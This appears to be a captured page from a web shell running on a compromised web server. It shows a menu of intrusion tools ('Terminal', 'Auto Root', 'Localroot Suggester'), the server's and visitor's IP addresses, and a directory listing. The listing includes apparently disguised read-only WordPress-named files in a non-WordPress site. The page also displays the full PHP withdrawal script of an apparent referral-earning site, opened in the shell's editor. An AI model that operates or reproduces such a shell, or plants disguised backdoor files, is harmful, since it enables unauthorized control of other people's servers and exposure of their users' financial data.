Linux spg1.cloudpowerdns.com 5.14.0-611.34.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 18 05:51:10 EST 2026 x86_64
LiteSpeed
Server IP : 176.9.63.151 & Your IP : 216.73.217.60
Domains :
Cant Read [ /etc/named.conf ]
User : fastear1
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
home /
fastear1 /
assignment.work.zone /
user /
Delete
Unzip
Name
Size
Permission
Date
Action
.htaccess
197
B
-r--r--r--
2026-04-01 03:43
AssignmentWorkZone.apk
19.5
MB
-rw-r--r--
2026-03-28 16:09
assignment.php
20.18
KB
-rw-r--r--
2026-03-31 10:04
checkout.php
10.61
KB
-rw-r--r--
2026-03-13 17:01
dashboard.php
10.53
KB
-rw-r--r--
2026-03-31 10:21
history.php
3.6
KB
-rw-r--r--
2026-03-12 12:52
logout.php
91
B
-rw-r--r--
2026-03-11 23:27
pending.php
4.56
KB
-rw-r--r--
2026-03-12 01:29
plan-current.php
2.55
KB
-rw-r--r--
2026-03-11 23:27
profile.php
5.04
KB
-rw-r--r--
2026-03-28 15:45
referral-commissions.php
6.07
KB
-rw-r--r--
2026-03-12 00:37
referral.php
8.61
KB
-rw-r--r--
2026-03-28 15:31
select-plan.php
3.4
KB
-rw-r--r--
2026-03-11 23:27
support.php
12.43
KB
-rw-r--r--
2026-03-12 13:23
team-commission.php
2.82
KB
-rw-r--r--
2026-03-12 12:52
team-details.php
4.46
KB
-rw-r--r--
2026-03-12 15:31
withdraw-history.php
3.53
KB
-rw-r--r--
2026-03-12 12:52
withdraw.php
8.18
KB
-rw-r--r--
2026-03-12 15:18
wp-blog-header.php
2.74
KB
-r--r--r--
2026-04-01 03:43
wp-cron.php
2.74
KB
-rw-r--r--
2026-04-01 03:43
Save
Rename
<?php require_once '../includes/config.php'; require_once '../includes/header_dashboard.php'; require_once '../includes/sidebar.php'; // Ensure user is loaded $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$_SESSION['user_id']]); $user = $stmt->fetch(); if (!$user || $user['status'] != 'active') { header("Location: ../login.php"); exit; } // Get Min Withdrawal Setting $min_stmt = $pdo->prepare("SELECT setting_value FROM site_settings WHERE setting_key = 'min_withdrawal'"); $min_stmt->execute(); $min_withdrawal = (float)$min_stmt->fetchColumn() ?: 500.00; $error = ''; $success = ''; // Handle Withdrawal Request if ($_SERVER['REQUEST_METHOD'] == 'POST' && isset($_POST['request_withdraw'])) { $amount = (float)$_POST['amount']; $method_id = (int)$_POST['method_id']; $bank_name_val = trim($_POST['bank_name'] ?? ''); $account_name = trim($_POST['account_name']); $account_number = trim($_POST['account_number']); if ($amount < $min_withdrawal) { $error = "Minimum withdrawal amount is Rs " . number_format($min_withdrawal, 2); } elseif ($amount > $user['balance']) { $error = "Insufficient balance. Your current balance is Rs " . number_format($user['balance'], 2); } elseif (empty($account_name) || empty($account_number)) { $error = "Please provide your account details."; } else { try { $pdo->beginTransaction(); // Insert into withdrawals $stmt = $pdo->prepare("INSERT INTO withdrawals (user_id, method_id, amount, user_bank_name, user_account_name, user_account_number, status) VALUES (?, ?, ?, ?, ?, ?, 'pending')"); $stmt->execute([$user['id'], $method_id, $amount, $bank_name_val, $account_name, $account_number]); // Deduct from user balance $stmt = $pdo->prepare("UPDATE users SET balance = balance - ? WHERE id = ?"); $stmt->execute([$amount, $user['id']]); // Add transaction log $stmt = $pdo->prepare("INSERT INTO transactions (user_id, type, amount, description) VALUES (?, 'withdrawal', ?, ?)"); $desc = "Withdrawal request submitted"; $stmt->execute([$user['id'], $amount, $desc]); $pdo->commit(); $success = "Withdrawal request submitted successfully! Admin will review it shortly."; // Refresh user data $stmt = $pdo->prepare("SELECT * FROM users WHERE id = ?"); $stmt->execute([$user['id']]); $user = $stmt->fetch(); } catch (Exception $e) { $pdo->rollBack(); $error = "Something went wrong. Please try again."; } } } // Fetch Withdrawal Methods $methods_stmt = $pdo->query("SELECT * FROM withdraw_methods"); $methods = $methods_stmt->fetchAll(); ?> <h2 style="margin-bottom:30px;">Request Withdrawal</h2> <?php if ($error): ?> <div class="badge badge-danger" style="display:block; margin-bottom:20px; text-align:center; padding:15px; border-radius:8px; font-size:1rem;"><?php echo $error; ?></div> <?php endif; ?> <?php if ($success): ?> <div class="badge badge-success" style="display:block; margin-bottom:20px; text-align:center; padding:15px; border-radius:8px; font-size:1rem;"><?php echo $success; ?></div> <?php endif; ?> <div class="grid" style="grid-template-columns: 1fr 1fr; align-items: start;"> <div class="card" style="text-align:left;"> <h3 style="margin-bottom:20px;">Withdrawal Details</h3> <p style="color:var(--text-muted); margin-bottom:25px;"> Your current balance is <strong style="color:var(--primary-color);">Rs <?php echo number_format($user['balance'], 2); ?></strong>. Minimum withdrawal amount is <strong style="color:var(--text-light);">Rs <?php echo number_format($min_withdrawal, 2); ?></strong>. </p> <form method="POST"> <div class="form-group"> <label>Withdraw Amount (Rs)</label> <input type="number" name="amount" step="0.01" class="form-control" placeholder="e.g. 1000" min="<?php echo $min_withdrawal; ?>" max="<?php echo $user['balance']; ?>" required> </div> <div class="form-group"> <label>Withdraw Method</label> <select name="method_id" id="method_id" class="form-control" style="background:var(--card-bg-dark); color:inherit;" onchange="updateHints()"> <?php foreach ($methods as $m): ?> <option value="<?php echo $m['id']; ?>" data-bank="<?php echo htmlspecialchars($m['bank_field']); ?>" data-name="<?php echo htmlspecialchars($m['account_name']); ?>" data-number="<?php echo htmlspecialchars($m['account_number']); ?>"> <?php echo htmlspecialchars($m['bank_name']); ?> </option> <?php endforeach; ?> </select> </div> <div class="form-group" id="bank_name_group" style="display:none;"> <label id="bank_label">Bank Name</label> <input type="text" name="bank_name" id="bank_name" class="form-control" placeholder=""> </div> <div class="form-group"> <label id="name_label">Your Account Title</label> <input type="text" name="account_name" id="account_name" class="form-control" placeholder="The name on your EasyPaisa/Bank account" required> </div> <div class="form-group"> <label id="number_label">Your Account Number / IBAN</label> <input type="text" name="account_number" id="account_number" class="form-control" placeholder="03xx-xxxxxxx" required> </div> <button type="submit" name="request_withdraw" class="btn-primary" style="width:100%; margin-top:10px;">Submit Request</button> </form> </div> <div class="card" style="text-align:left; background:rgba(243, 156, 18, 0.05); border-left:4px solid #f39c12;"> <h3 style="margin-bottom:15px; color:#f39c12;"><i class="fas fa-info-circle"></i> Important Note</h3> <ul style="color:var(--text-muted); font-size:0.9rem; padding-left:20px;"> <li style="margin-bottom:10px;">Double-check your account details. Payments sent to the wrong account cannot be recovered.</li> <li style="margin-bottom:10px;">Withdrawal requests are typically processed within 24-48 hours.</li> <li style="margin-bottom:10px;">Withdrawals are available only for active users with verified plans.</li> <li>If your request is rejected, the amount will be returned to your balance.</li> </ul> </div> </div> <script> function updateHints() { const select = document.getElementById('method_id'); const selectedOption = select.options[select.selectedIndex]; const bankHint = selectedOption.getAttribute('data-bank'); const nameHint = selectedOption.getAttribute('data-name'); const numberHint = selectedOption.getAttribute('data-number'); // Bank Name Field const bankGroup = document.getElementById('bank_name_group'); const bankInput = document.getElementById('bank_name'); if (bankHint && bankHint.trim() !== '') { bankGroup.style.display = 'block'; bankInput.placeholder = bankHint; bankInput.required = true; } else { bankGroup.style.display = 'none'; bankInput.placeholder = ''; bankInput.required = false; bankInput.value = ''; } // Account Name Hint if (nameHint && nameHint.trim() !== '') { document.getElementById('account_name').placeholder = nameHint; } else { document.getElementById('account_name').placeholder = "Enter account title"; } // Account Number Hint if (numberHint && numberHint.trim() !== '') { document.getElementById('account_number').placeholder = numberHint; } else { document.getElementById('account_number').placeholder = "Enter account number"; } } // Run once on load document.addEventListener('DOMContentLoaded', updateHints); </script> <?php require_once '../includes/footer_dashboard.php'; ?>